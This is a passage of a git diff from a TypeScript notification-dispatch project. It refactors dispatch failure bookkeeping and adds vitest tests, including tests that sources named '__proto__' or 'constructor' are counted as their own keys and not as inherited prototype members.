     }
     if (!admitted) return { due: 0, delivered: 0, failed: 0 };
-    const now = options.now?.() ?? new Date();
-    const due = await options.storage.listDueNotifications({
-      now,
+    const nowMs = (clock?.() ?? new Date()).getTime();
+    const due = await storage.listDueNotifications({
+      now: new Date(nowMs),
       limit,
     });
     const result: NotificationDispatchTickResult = {
@@ -290,34 +762,69 @@ export function createNotificationDispatchTick(
       failed: 0,
     };
     const groups = new Map<string, DeliveryGroup>();
-
+    const selected = new Map<
+      NotificationRecord,
+      NotificationDeliveryObservation
+    >();
+    const seen = new Map<string, Set<string>>();
     for (const record of due) {
+      try {
+        const threadId = textValue(record.threadId);
+        const id = textValue(record.id);
+        const ids = seen.get(threadId) ?? new Set<string>();
+        if (ids.has(id)) continue;
+        ids.add(id);
+        seen.set(threadId, ids);
+        const selection = captureNotificationDeliverySelection(record);
+        selected.set(selection.record, selection.expected);
+      } catch (error) {
+        result.failed += 1;
+        reportNotificationDeliveryError(error);
+      }
+    }
+    const recordFailure = async (
+      expected: NotificationDeliveryObservation,
+      action: { type: 'failure'; error: unknown } | { type: 'exhausted' },
+    ) => {
+      const outcome = await recordNotificationDeliveryFailure(
+        deliveryStorage,
+        expected,
+        new Date(nowMs),
+        maxDeliveryAttempts,
+        action,
+      );
+      if (outcome === 'discarded') {
+        result.discarded = (result.discarded ?? 0) + 1;
+      } else {
+        result.failed += 1;
+      }
+    };
+
+    for (const [record, expected] of selected) {
+      if (expected.status !== 'pending' || expected.deliveredSignalId) continue;
+      if (expected.deliveryAttempts >= maxDeliveryAttempts) {
+        await recordFailure(expected, { type: 'exhausted' });
+        continue;
+      }
       if (
         !isPathSafeId(record.threadId) ||
         !record.resourceId ||
         !isPathSafeId(record.resourceId)
       ) {
-        result.failed += 1;
-        await recordFailure(
-          options.storage,
-          record,
-          now,
-          new Error('notification has malformed memory ids'),
-        );
+        await recordFailure(expected, {
+          type: 'failure',
+          error: new Error('notification has malformed memory ids'),
+        });
         continue;
       }
       if (typeof record.agentId !== 'string' || record.agentId.length === 0) {
-        result.failed += 1;
-        await recordFailure(
-          options.storage,
-          record,
-          now,
-          new Error('notification has no agent id'),
-        );
+        await recordFailure(expected, {
+          type: 'failure',
+          error: new Error('notification has no agent id'),
+        });
         continue;
       }
       const resourceId = record.resourceId;
-      if (!resourceId) continue;
       const key = `${record.threadId}\0${resourceId}\0${record.agentId}`;
       const group = groups.get(key) ?? {
         threadId: record.threadId,
@@ -331,13 +838,13 @@ export function createNotificationDispatchTick(
 
     for (const group of groups.values()) {
       const batches = packNotificationDispatchItems(
-        planNotificationDispatch(group.records, now),
+        planNotificationDispatch(group.records, new Date(nowMs)),
       );
       let batchThreadState: 'active' | 'idle' | null = null;
       for (const records of batches) {
         try {
-          const context = options.resolveContext();
-          const response = await options.topology.send(
+          const context = resolveContext();
+          const response = await topology.send(
             context,
             group.threadId,
             '/signal/notifications/dispatch',
@@ -348,7 +855,7 @@ export function createNotificationDispatchTick(
                 notificationIds: records.map((record) => record.id),
                 resourceId: group.resourceId,
                 agentId: group.agentId,
-                now: now.toISOString(),
+                now: new Date(nowMs).toISOString(),
                 batchThreadState,
               }),
             },
@@ -377,9 +884,10 @@ export function createNotificationDispatchTick(
             batchThreadState = body.batchThreadState;
           }
         } catch (error) {
-          result.failed += records.length;
           for (const record of records) {
-            await recordFailure(options.storage, record, now, error);
+            const expected = selected.get(record);
+            if (expected)
+              await recordFailure(expected, { type: 'failure', error });
           }
         }
       }
diff --git a/packages/flowsafe/src/signals/notification-source-keys.test.ts b/packages/flowsafe/src/signals/notification-source-keys.test.ts
new file mode 100644
index 00000000..9a6ce124
--- /dev/null
+++ b/packages/flowsafe/src/signals/notification-source-keys.test.ts
@@ -0,0 +1,582 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { Agent } from '@mastra/core/agent';
+import type { MastraModelConfig } from '@mastra/core/llm';
+import { Mastra } from '@mastra/core/mastra';
+import { MockMemory } from '@mastra/core/memory';
+import type {
+  NotificationDeliveryPolicyConfig,
+  NotificationDeliveryPolicyDecision,
+  NotificationPriority,
+  NotificationRecord,
+  NotificationStatus,
+} from '@mastra/core/notifications';
+import {
+  notificationSummaryContents,
+  notificationSummarySignalMetadata,
+  resolveNotificationDeliveryDecision,
+  summarizeNotifications,
+} from '@mastra/core/notifications';
+import { InMemoryStore } from '@mastra/core/storage';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+declare const process: {
+  on(event: 'unhandledRejection', listener: (reason: unknown) => void): void;
+  off(event: 'unhandledRejection', listener: (reason: unknown) => void): void;
+};
+
+let unhandled: unknown[];
+let onUnhandled: (reason: unknown) => void;
+
+// The thread stream runtime is a module singleton, so a spy on it outlives the
+// case that installed it. An unconsumed stream's rejection outlives it too.
+beforeEach(() => {
+  unhandled = [];
+  onUnhandled = (reason) => unhandled.push(reason);
+  process.on('unhandledRejection', onUnhandled);
+});
+
+afterEach(() => {
+  process.off('unhandledRejection', onUnhandled);
+  vi.restoreAllMocks();
+});
+
+const getBuiltin = (
+  globalThis as { process?: { getBuiltinModule?: (id: string) => unknown } }
+).process?.getBuiltinModule;
+if (!getBuiltin) throw new Error('CJS coverage requires node >= 22.3');
+const { createRequire } = getBuiltin('node:module') as {
+  createRequire: (from: string) => (id: string) => unknown;
+};
+const cjs = createRequire((import.meta as unknown as { url: string }).url)(
+  '@mastra/core/notifications',
+) as {
+  summarizeNotifications: typeof summarizeNotifications;
+  notificationSummaryContents: typeof notificationSummaryContents;
+  notificationSummarySignalMetadata: typeof notificationSummarySignalMetadata;
+  resolveNotificationDeliveryDecision: typeof resolveNotificationDeliveryDecision;
+};
+
+const esm = {
+  summarizeNotifications,
+  notificationSummaryContents,
+  notificationSummarySignalMetadata,
+  resolveNotificationDeliveryDecision,
+};
+
+const modules: Array<[string, typeof esm]> = [
+  ['esm', esm],
+  ['cjs', cjs],
+];
+
+// The getting-started guide's confirmation record. With the patch applied,
+// `bySource.constructor` carries this record's own count instead of the
+// inherited Object.prototype member, and core's own source-policy lookup
+// resolves the configured action instead of that member.
+const PATCH_PROBE: NotificationRecord = {
+  id: 'n',
+  threadId: 't',
+  source: 'constructor',
+  kind: 'k',
+  priority: 'low',
+  status: 'pending',
+  summary: 's',
+  createdAt: new Date(0),
+  updatedAt: new Date(0),
+};
+
+const patched = new Map(
+  modules.map(
+    ([label, core]) =>
+      [
+        label,
+        typeof core.summarizeNotifications([PATCH_PROBE]).bySource
+          .constructor === 'number',
+      ] as const,
+  ),
+);
+
+it('loads the CJS lane as its own module realization', () => {
+  expect(cjs.summarizeNotifications).not.toBe(summarizeNotifications);
+});
+
+it.each(
+  modules,
+)('reports the @mastra/core patch applied (%s)', (_label, core) => {
+  expect(
+    typeof core.summarizeNotifications([PATCH_PROBE]).bySource.constructor,
+  ).toBe('number');
+});
+
+it.each(
+  modules,
+)('reports the @mastra/core delivery policy patch applied (%s)', async (_label, core) => {
+  const decision = await core.resolveNotificationDeliveryDecision({
+    config: { sources: {}, default: 'discard' },
+    record: PATCH_PROBE,
+    threadState: 'idle',
+    now: new Date(0),
+  });
+
+  expect(decision.action).toBe('discard');
+});
+
+const CREATED_AT = new Date('2026-01-01T00:00:00.000Z');
+
+function record(
+  id: string,
+  source: string,
+  priority: NotificationPriority,
+  status: NotificationStatus = 'pending',
+): NotificationRecord {
+  return {
+    id,
+    threadId: 'thread-keys',
+    resourceId: 'resource-keys',
+    agentId: 'agent-keys',
+    source,
+    kind: 'changed',
+    priority,
+    status,
+    summary: `summary ${id}`,
+    createdAt: CREATED_AT,
+    updatedAt: CREATED_AT,
+  };
+}
+
+/**
+ * Object literals treat a `__proto__` key as the prototype setter, so a literal
+ * can never express the own entry these cases are about.
+ */
+function sourcePolicy(
+  entries: Array<[string, NotificationDeliveryPolicyDecision]>,
+): Record<string, NotificationDeliveryPolicyDecision> {
+  return Object.fromEntries(entries);
+}
+
+const BATCH: NotificationRecord[] = [
+  record('n1', '__proto__', 'low'),
+  record('n2', 'constructor', 'medium'),
+  record('n3', 'toString', 'high'),
+  record('n4', 'hasOwnProperty', 'urgent'),
+  record('n5', '', 'low'),
+  record('n6', 'crm', 'low'),
+  record('n7', 'crm', 'medium'),
+  record('n8', 'constructor', 'low', 'delivered'),
+];
+
+const POLICY_SOURCES = [
+  'ordinary',
+  '__proto__',
+  'constructor',
+  'toString',
+  'hasOwnProperty',
+] as const;
+
+function unreachableModel() {
+  const unreachable = () =>
+    Promise.reject(new Error('source-key tests must not reach a model'));
+  const doGenerate = vi.fn(unreachable);
+  const doStream = vi.fn(unreachable);
+  const model: MastraModelConfig = {
+    specificationVersion: 'v2',
+    provider: 'flowsafe-test',
+    modelId: 'unreachable',
+    supportedUrls: {},
+    doGenerate,
+    doStream,
+  };
+  return { doGenerate, doStream, model };
+}
+
+async function policyAgent(deliveryPolicy: NotificationDeliveryPolicyConfig) {
+  const { doGenerate, doStream, model } = unreachableModel();
+  const memory = new MockMemory();
+  const agent = new Agent({
+    id: 'source-keys',
+    name: 'Source keys',
+    instructions: 'Never runs.',
+    model,
+    memory,
+    notifications: { deliveryPolicy },
+  });
+  new Mastra({
+    storage: new InMemoryStore(),
+    agents: { 'source-keys': agent },
+    logger: false,
+  });
+  const threadId = crypto.randomUUID();
+  await memory.saveThread({
+    thread: {
+      id: threadId,
+      resourceId: 'resource-keys',
+      createdAt: CREATED_AT,
+      updatedAt: CREATED_AT,
+      metadata: {},
+    },
+  });
+  const send = async (source: string, priority: NotificationPriority) => {
+    const result = await agent.sendNotificationSignal(
+      { source, kind: 'changed', summary: 'payload', priority },
+      {
+        threadId,
+        resourceId: 'resource-keys',
+        ifIdle: { behavior: 'persist' },
+      },
+    );
+    if (result.persisted) await result.persisted;
+    return result;
+  };
+  const messages = async () => (await memory.recall({ threadId })).messages;
+  return { doGenerate, doStream, messages, send };
+}
+
+for (const [label, core] of modules) {
+  describe.skipIf(!patched.get(label))(
+    `core notification summary source keys (${label})`,
+    () => {
+      it('counts prototype-colliding sources as own numeric entries', () => {
+        const summary = core.summarizeNotifications(BATCH);
+
+        // No source name resolves an inherited member instead of its own count. An
+        // own `__proto__` entry requires an accumulator that never invokes the
+        // inherited setter, which a read-side guard alone cannot produce.
+        expect(Object.entries(summary.bySource)).toEqual([
+          ['__proto__', 1],
+          ['constructor', 1],
+          ['toString', 1],
+          ['hasOwnProperty', 1],
+          ['', 1],
+          ['crm', 2],
+        ]);
+        for (const source of [
+          '__proto__',
+          'constructor',
+          'toString',
+          'hasOwnProperty',
+          '',
+          'crm',
+        ]) {
+          expect(Object.hasOwn(summary.bySource, source)).toBe(true);
+          expect(typeof summary.bySource[source]).toBe('number');
+        }
+        expect(Object.hasOwn(summary.bySource, 'valueOf')).toBe(false);
+
+        expect(summary.pending).toBe(7);
+        expect(summary.threadId).toBe('thread-keys');
+        expect(summary.resourceId).toBe('resource-keys');
+        expect(summary.agentId).toBe('agent-keys');
+        expect(summary.byPriority).toEqual({
+          low: 3,
+          medium: 2,
+          high: 1,
+          urgent: 1,
+        });
+        expect(summary.notificationIds).toEqual([
+          'n1',
+          'n2',
+          'n3',
+          'n4',
+          'n5',
+          'n6',
+          'n7',
+        ]);
+      });
+
+      it('renders own counts in the summary text and metadata groups', () => {
+        const summary = core.summarizeNotifications(BATCH);
+
+        expect(core.notificationSummaryContents(summary)).toBe(
+          ': 1, __proto__: 1, constructor: 1, crm: 2, hasOwnProperty: 1, toString: 1',
+        );
+        expect(core.notificationSummarySignalMetadata(summary)).toEqual({
+          signal: 'summary',
+          pending: 7,
+          groups: [
+            { source: '', count: 1 },
+            { source: '__proto__', count: 1 },
+            { source: 'constructor', count: 1 },
+            { source: 'crm', count: 2 },
+            { source: 'hasOwnProperty', count: 1 },
+            { source: 'toString', count: 1 },
+          ],
+          byPriority: { low: 3, medium: 2, high: 1, urgent: 1 },
+          notificationIds: ['n1', 'n2', 'n3', 'n4', 'n5', 'n6', 'n7'],
+          priority: 'urgent',
+        });
+      });
+
+      it('keeps the empty and no-pending shapes', () => {
+        const empty = core.summarizeNotifications([]);
+        expect(empty).toMatchObject({
+          threadId: '',
+          pending: 0,
+          byPriority: {},
+          notificationIds: [],
+        });
+        expect(Object.entries(empty.bySource)).toEqual([]);
+        expect(core.notificationSummaryContents(empty)).toBe(
+          'No pending notifications',
+        );
+        expect(core.notificationSummarySignalMetadata(empty)).toEqual({
+          signal: 'summary',
+          pending: 0,
+          groups: [],
+          byPriority: {},
+          notificationIds: [],
+        });
+
+        const terminal = core.summarizeNotifications([
+          record('n9', 'constructor', 'high', 'delivered'),
+        ]);
+        expect(terminal).toMatchObject({
+          threadId: 'thread-keys',
+          resourceId: 'resource-keys',
+          agentId: 'agent-keys',
+          pending: 0,
+          byPriority: {},
+          notificationIds: [],
+        });
+        expect(Object.entries(terminal.bySource)).toEqual([]);
+        expect(core.notificationSummaryContents(terminal)).toBe(
+          'No pending notifications',
+        );
+      });
+    },
+  );
+}
+
+for (const [label, core] of modules) {
+  describe.skipIf(!patched.get(label))(
+    `core notification delivery policy source lookup (${label})`,
+    () => {
+      const input = (
+        source: string,
+        priority: NotificationPriority = 'low',
+      ) => ({
+        record: record('p1', source, priority),
+        threadState: 'idle' as const,
+        now: CREATED_AT,
+      });
+
+      it.each(
+        POLICY_SOURCES,
+      )('falls through an empty source map to the default action for %s', async (source) => {
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config: { sources: {}, default: 'discard' },
+            ...input(source),
+          }),
+        ).resolves.toEqual({ action: 'discard' });
+      });
+
+      it('honors an explicit own source entry', async () => {
+        const config = {
+          sources: sourcePolicy([
+            ['constructor', 'persist'],
+            ['__proto__', 'queue'],
+          ]),
+          default: 'discard' as const,
+        };
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config,
+            ...input('constructor'),
+          }),
+        ).resolves.toEqual({ action: 'persist' });
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config,
+            ...input('__proto__'),
+          }),
+        ).resolves.toEqual({ action: 'queue' });
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config,
+            ...input('toString'),
+          }),
+        ).resolves.toEqual({ action: 'discard' });
+      });
+
+      it('keeps decide precedence over the source map', async () => {
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config: {
+              decide: () => 'deliver',
+              sources: sourcePolicy([['constructor', 'persist']]),
+              default: 'discard',
+            },
+            ...input('constructor'),
+          }),
+        ).resolves.toEqual({ action: 'deliver' });
+      });
+
+      it('keeps the priority fallback between the source map and the default', async () => {
+        await expect(
+          core.resolveNotificationDeliveryDecision({
+            config: {
+              sources: {},
+              priorities: { low: 'queue' },
+              default: 'discard',
+            },
+            ...input('constructor'),
+          }),
+        ).resolves.toEqual({ action: 'queue' });
+      });
+    },
+  );
+}
+
+// Core's inline sender builds its own summary from the helper it imports
+// lexically and hands it straight to the thread runtime, so overriding
+// `agent.sendSignal` never observes it. It only summarizes while the thread is
+// active, which a registered run provides without any model call.
+describe.skipIf(!patched.get('esm'))(
+  'core inline notification summary sender',
+  () => {
+    it.each([
+      ['medium', 'constructor', 'active-batch-summary'],
+      ['high', '__proto__', 'active-high-summary-then-full'],
+    ] as const)('emits an own-keyed inline summary for an active %s notification', async (priority, source, reason) => {
+      // #given — an ordinary core agent with a run in flight
+      const { doGenerate, doStream, model } = unreachableModel();
+      const memory = new MockMemory();
+      const agent = new Agent({
+        id: 'inline-summary',
+        name: 'Inline summary',
+        instructions: 'Never runs.',
+        model,
+        memory,
+      });
+      const mastra = new Mastra({
+        storage: new InMemoryStore(),
+        agents: { 'inline-summary': agent },
+        logger: false,
+      });
+      const threadId = crypto.randomUUID();
+      const runtime = mastra.agentThreadStreamRuntime;
+      const pubsub = agent.getPubSub();
+
+      try {
+        await memory.saveThread({
+          thread: {
+            id: threadId,
+            resourceId: 'resource-keys',
+            createdAt: CREATED_AT,
+            updatedAt: CREATED_AT,
+            metadata: {},
+          },
+        });
+        await agent.stream('active turn', {
+          runId: crypto.randomUUID(),
+          memory: { thread: threadId, resource: 'resource-keys' },
+        });
+        await vi.waitFor(() =>
+          expect(
+            runtime.getThreadState(
+              { threadId, resourceId: 'resource-keys' },
+              pubsub,
+            ),
+          ).toBe('active'),
+        );
+        const emitted = vi.spyOn(runtime, 'sendSignal');
+
+        // #when
+        const result = await agent.sendNotificationSignal(
+          { source, kind: 'changed', summary: 'payload', priority },
+          {
+            threadId,
+            resourceId: 'resource-keys',
+            ifIdle: { behavior: 'persist' },
+          },
+        );
+
+        // #then — the emitted summary counts the colliding source once
+        expect(result.decision).toMatchObject({ action: 'summarize', reason });
+        const summaries = emitted.mock.calls
+          .map(([, signal]) => signal)
+          .filter((signal) => signal.tagName === 'notification-summary');
+        expect(summaries.map((signal) => signal.contents)).toEqual([
+          `${source}: 1`,
+        ]);
+        expect(
+          (summaries[0]?.metadata as { notification?: unknown } | undefined)
+            ?.notification,
+        ).toEqual({
+          signal: 'summary',
+          pending: 1,
+          groups: [{ source, count: 1 }],
+          byPriority: { [priority]: 1 },
+          notificationIds: [result.record.id],
+          priority,
+        });
+        // A summarized high notification keeps its full-delivery cursor; a medium
+        // one has none to keep.
+        const { deliverAt } = result.decision as { deliverAt?: Date };
+        if (priority === 'high') expect(deliverAt).toBeInstanceOf(Date);
+        else expect(deliverAt).toBeUndefined();
+        expect(doStream).not.toHaveBeenCalled();
+        expect(doGenerate).not.toHaveBeenCalled();
+      } finally {
+        runtime.abortThread({ threadId, resourceId: 'resource-keys' }, pubsub);
+      }
+      expect(unhandled).toEqual([]);
+    });
+  },
+);
+
+describe.skipIf(!patched.get('esm'))(
+  'ordinary core agent delivery policy',
+  () => {
+    it.each([
+      'ordinary',
+      'constructor',
+      'toString',
+      '__proto__',
+    ] as const)('discards %s under an empty source map with a discard default', async (source) => {
+      const agent = await policyAgent({ sources: {}, default: 'discard' });
+
+      const result = await agent.send(source, 'low');
+
+      expect(result.record.status).toBe('discarded');
+      expect(result.decision).toMatchObject({ action: 'discard' });
+      expect(await agent.messages()).toHaveLength(0);
+      expect(agent.doGenerate).not.toHaveBeenCalled();
+      expect(agent.doStream).not.toHaveBeenCalled();
+    });
+
+    it('honors an explicit own source entry through the sender', async () => {
+      const agent = await policyAgent({
+        sources: sourcePolicy([['constructor', 'persist']]),
+        default: 'discard',
+      });
+
+      const result = await agent.send('constructor', 'low');
+
+      expect(result.record.status).toBe('pending');
+      expect(result.decision).toMatchObject({ action: 'persist' });
+      expect(agent.doGenerate).not.toHaveBeenCalled();
+      expect(agent.doStream).not.toHaveBeenCalled();
+    });
+
+    it('keeps decide precedence and the priority fallback through the sender', async () => {
+      const decided = await policyAgent({
+        decide: () => 'queue',
+        sources: {},
+        default: 'discard',
+      });
+      const decidedResult = await decided.send('constructor', 'low');
+      expect(decidedResult.decision).toMatchObject({ action: 'queue' });
+      expect(decided.doGenerate).not.toHaveBeenCalled();
+
+      const prioritized = await policyAgent({
+        sources: {},
+        priorities: { low: 'queue' },
+        default: 'discard',
+      });
+      const prioritizedResult = await prioritized.send('constructor', 'low');
+      expect(prioritizedResult.decision).toMatchObject({ action: 'queue' });
+      expect(prioritized.doGenerate).not.toHaveBeenCalled();
+    });
+  },
+);
diff --git a/packages/flowsafe/src/signals/notifications-d1.test.ts b/packages/flowsafe/src/signals/notifications-d1.test.ts
index fbd849ae..7404f4ec 100644
--- a/packages/flowsafe/src/signals/notifications-d1.test.ts
+++ b/packages/flowsafe/src/signals/notifications-d1.test.ts
@@ -2,10 +2,23 @@
 // D1NotificationsStorage round-trip / coalescing / listDue / update — mirrors the
 // core InMemoryNotificationsStorage behavior over a node:sqlite SQL unit facade.
 
+import type {
+  CreateNotificationInput,
+  NotificationRecord,
+} from '@mastra/core/notifications';
 import { describe, expect, it } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  notificationTimestampMillis,
+  notificationTimestampSql,
+} from '../do-runner/notification-predicate.js';
 import type { SignalDatabase, SignalStatement } from './d1-shared.js';
+import {
+  captureNotificationDeliveryObservation,
+  type NotificationDeliveryFailure,
+  type NotificationDeliveryObservation,
+} from './notification-dispatch.js';
 import { D1NotificationsStorage } from './notifications-d1.js';
 
 function store(): D1NotificationsStorage {
@@ -25,38 +38,17 @@ function sharedStores(): [D1NotificationsStorage, D1NotificationsStorage] {
   ];
 }
 
-function coalescableReadBarrier(db: SignalDatabase): {
-  db: SignalDatabase;
-  selected: Promise<void>;
-  release: () => void;
-} {
-  let markSelected: () => void = () => undefined;
-  const selected = new Promise<void>((resolve) => {
-    markSelected = resolve;
-  });
-  let releaseRead: () => void = () => undefined;
-  const released = new Promise<void>((resolve) => {
-    releaseRead = resolve;
-  });
-  let intercepted = false;
-
+function interceptFirst(
+  db: SignalDatabase,
+  intercept: (query: string, read: () => Promise<unknown>) => Promise<unknown>,
+): SignalDatabase {
   function wrap(query: string, statement: SignalStatement): SignalStatement {
     return {
       bind(...values: unknown[]) {
         return wrap(query, statement.bind(...values));
       },
       async first<T = unknown>(): Promise<T | null> {
-        const row = await statement.first<T>();
-        if (
-          !intercepted &&
-          row !== null &&
-          query.includes('insertionOrdinal IS NULL ASC')
-        ) {
-          intercepted = true;
-          markSelected();
-          await released;
-        }
-        return row;
+        return (await intercept(query, () => statement.first<T>())) as T | null;
       },
       all<T = unknown>() {
         return statement.all<T>();
@@ -66,35 +58,143 @@ function coalescableReadBarrier(db: SignalDatabase): {
       },
     };
   }
-
   return {
-    db: {
-      prepare(query: string) {
-        return wrap(query, db.prepare(query));
-      },
-      batch(statements) {
-        if (!db.batch) throw new Error('test database has no batch');
-        return db.batch(statements);
-      },
+    prepare(query) {
+      return wrap(query, db.prepare(query));
     },
+    ...(db.batch ? { batch: db.batch.bind(db) } : {}),
+  };
+}
+
+function coalescableReadBarrier(db: SignalDatabase): {
+  db: SignalDatabase;
+  selected: Promise<void>;
+  release: () => void;
+} {
+  let markSelected: () => void = () => undefined;
+  const selected = new Promise<void>((resolve) => {
+    markSelected = resolve;
+  });
+  let releaseRead: () => void = () => undefined;
+  const released = new Promise<void>((resolve) => {
+    releaseRead = resolve;
+  });
+  let intercepted = false;
+
+  return {
+    db: interceptFirst(db, async (query, read) => {
+      const row = await read();
+      if (
+        !intercepted &&
+        row !== null &&
+        query.includes('insertionOrdinal IS NULL ASC')
+      ) {
+        intercepted = true;
+        markSelected();
+        await released;
+      }
+      return row;
+    }),
     selected,
     release: releaseRead,
   };
 }
 
+const ATTEMPT_TIME = '2026-09-09T12:00:00.000Z';
+const WRITE_TIME = '2026-09-09T13:00:00.000Z';
+const RETRY_TIME = '2026-09-09T12:00:01.000Z';
+
+function createDueNotification(
+  storage: D1NotificationsStorage,
+  input: Partial<CreateNotificationInput> = {},
+): Promise<NotificationRecord> {
+  return storage.createNotification({
+    id: 'receipt',
+    threadId: 'thread',
+    source: 'source',
+    kind: 'kind',
+    summary: 'summary',
+    resourceId: 'resource',
+    agentId: 'agent',
+    createdAt: new Date('2026-09-09T10:00:00.000Z'),
+    deliverAt: new Date('2026-09-09T11:59:59.000Z'),
+    summaryAt: new Date('2026-09-09T14:00:00.000Z'),
+    ...input,
+  });
+}
+
+function retryFailure(): Extract<
+  NotificationDeliveryFailure,
+  { type: 'retry' }
+> {
+  return {
+    type: 'retry',
+    updatedAt: WRITE_TIME,
+    deliveryAttempts: 1,
+    lastDeliveryAttemptAt: ATTEMPT_TIME,
+    lastDeliveryError: 'target refused',
+    deliverAt: RETRY_TIME,
+  };
+}
+
+function isDeliveryUpdate(query: string): boolean {
+  return (
+    query.trimStart().startsWith('UPDATE ') && query.includes('RETURNING *')
+  );
+}
+
+function deliveryWriteBarrier(db: SignalDatabase): {
+  db: SignalDatabase;
+  writing: Promise<void>;
+  release: () => void;
+} {
+  let markWriting: () => void = () => undefined;
+  let release: () => void = () => undefined;
+  const writing = new Promise<void>((resolve) => {
+    markWriting = resolve;
+  });
+  const released = new Promise<void>((resolve) => {
+    release = resolve;
+  });
+  let intercepted = false;
+  return {
+    db: interceptFirst(db, async (query, read) => {
+      if (!intercepted && isDeliveryUpdate(query)) {
+        intercepted = true;
+        markWriting();
+        await released;
+      }
+      return read();
+    }),
+    writing,
+    release,
+  };
+}
+
+async function rawNotification(
+  db: SignalDatabase,
+): Promise<Record<string, unknown>> {
+  const row = await db
+    .prepare('SELECT * FROM mastra_notifications')
+    .first<Record<string, unknown>>();
+  if (!row) throw new Error('notification fixture is missing');
+  return row;
+}
+
 async function createLegacyNotificationsTable(
   db: SignalDatabase,
+  textCollation: 'BINARY' | 'NOCASE' = 'BINARY',
 ): Promise<void> {
   await db
     .prepare(
       `CREATE TABLE mastra_notifications (
-         id TEXT NOT NULL,
-         thread_id TEXT NOT NULL,
+         id TEXT NOT NULL COLLATE ${textCollation},
+         thread_id TEXT NOT NULL COLLATE ${textCollation},
          source TEXT NOT NULL,
          kind TEXT NOT NULL,
          priority TEXT NOT NULL,
          status TEXT NOT NULL,
-         summary TEXT NOT NULL,
+         summary TEXT NOT NULL COLLATE ${textCollation},
          payload TEXT,
          resourceId TEXT,
          agentId TEXT,
@@ -356,6 +456,48 @@ describe('D1NotificationsStorage', () => {
     expect(due.map((r) => r.summary)).toEqual(['due']);
   });
 
+  it.each(
+    (
+      ['delivered', 'seen', 'dismissed', 'archived', 'discarded'] as const
+    ).flatMap((status) =>
+      (['deliverAt', 'summaryAt'] as const).map((cursor) => ({
+        status,
+        cursor,
+      })),
+    ),
+  )('excludes $status with a retained $cursor from a limited due window', async ({
+    status,
+    cursor,
+  }) => {
+    const s = store();
+    const now = new Date('2026-01-01T00:00:00.000Z');
+    const dueAt = new Date(now.getTime() - 1000);
+    const terminal = await s.createNotification({
+      threadId: 'acme_t1',
+      source: 'x',
+      kind: 'a',
+      summary: 'terminal',
+      [cursor]: dueAt,
+    });
+    await s.updateNotification({
+      threadId: terminal.threadId,
+      id: terminal.id,
+      status,
+    });
+    expect(await s.getNotification(terminal)).toMatchObject({
+      status,
+      [cursor]: dueAt,
+    });
+    const pending = await s.createNotification({
+      threadId: 'acme_t1',
+      source: 'x',
+      kind: 'b',
+      summary: 'pending',
+      [cursor]: now,
+    });
+    expect(await s.listDueNotifications({ now, limit: 1 })).toEqual([pending]);
+  });
+
   it('updateNotification stamps the status timestamp and filters by status', async () => {
     const s = store();
     const created = await s.createNotification({
@@ -930,3 +1072,952 @@ describe('D1NotificationsStorage', () => {
     expect(due.map((record) => record.id)).toEqual(['both']);
   });
 });
+
+describe('D1 notification conditional delivery bookkeeping', () => {
+  it('advances the due cursor and preserves future cursor bytes and other fields', async () => {
+    const db = database();
+    const s = new D1NotificationsStorage(db);
+    const original = await createDueNotification(s, {
+      payload: { value: 1 },
+      metadata: { origin: 'source' },
+    });
+    await db
+      .prepare(
+        `UPDATE mastra_notifications
+         SET summaryAt = '2026-09-09T18:00:00+04:00',
+             payload = '{ "value" : 1.0 }'`,
+      )
+      .run();
+    const before = await rawNotification(db);
+    const result = await s.updateNotificationDeliveryIfUnchanged({
+      expected: captureNotificationDeliveryObservation(original),
+      failure: retryFailure(),
+    });
+    expect(result).toMatchObject({
+      applied: true,
+      record: {
+        status: 'pending',
+        deliveryAttempts: 1,
+        lastDeliveryError: 'target refused',
+        lastDeliveryAttemptAt: new Date(ATTEMPT_TIME),
+        updatedAt: new Date(WRITE_TIME),
+      },
+    });
+    expect(await rawNotification(db)).toEqual({
+      ...before,
+      updatedAt: WRITE_TIME,
+      deliveryAttempts: 1,
+      lastDeliveryAttemptAt: ATTEMPT_TIME,
+      lastDeliveryError: 'target refused',
+      deliverAt: RETRY_TIME,
+    });
+  });
+
+  it('moves both due cursors without clearing a completed summary receipt', async () => {
+    const s = store();
+    await createDueNotification(s, { summaryAt: new Date(ATTEMPT_TIME) });
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      summarySignalId: 'prior-summary',
+    });
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure: { ...retryFailure(), summaryAt: RETRY_TIME },
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: {
+        summaryAt: new Date(RETRY_TIME),
+        deliverAt: new Date(RETRY_TIME),
+        summarySignalId: 'prior-summary',
+      },
+    });
+  });
+
+  it('persists the final failed round and keeps its terminal receipt visible', async () => {
+    const s = store();
+    await createDueNotification(s);
+    const original = await s.updateNotification({
+      threadId: 'thread',
+      id: 'receipt',
+      deliveryAttempts: 9,
+      summarySignalId: 'prior-summary',
+    });
+    const failure: NotificationDeliveryFailure = {
+      type: 'discard',
+      updatedAt: WRITE_TIME,
+      deliveryAttempts: 10,
+      lastDeliveryAttemptAt: ATTEMPT_TIME,
+      lastDeliveryError: 'last refusal',
+    };
+    await expect(
+      s.updateNotificationDeliveryIfUnchanged({
+        expected: captureNotificationDeliveryObservation(original),
+        failure,
+      }),
+    ).resolves.toMatchObject({
+      applied: true,
+      record: {
+        status: 'discarded',
+        deliveryReason: 'delivery-attempts-exhausted',
+        deliveryAttempts: 10,
+        lastDeliveryError: 'last refusal',
+        lastDeliveryAttemptAt: new Date(ATTEMPT_TIME),
+        discardedAt: new Date(WRITE_TIME),
+        updatedAt: new Date(WRITE_TIME),
+        summarySignalId: 'prior-summary',
+        deliverAt: undefined,
+        summaryAt: undefined,
+      },
+    });
+    expect(await s.listDueNotifications({ now: new Date(WRITE_TIME) })).toEqual(
+      [],
+    );
+    const listed = await s.listNotifications({ threadId: 'thread' });
+    expect(listed).toHaveLength(1);
+    expect(listed[0]).toEqual(
+      await s.getNotification({ threadId: 'thread', id: 'receipt' }),
+    );
+  });
+
+  it.each([
+    10,
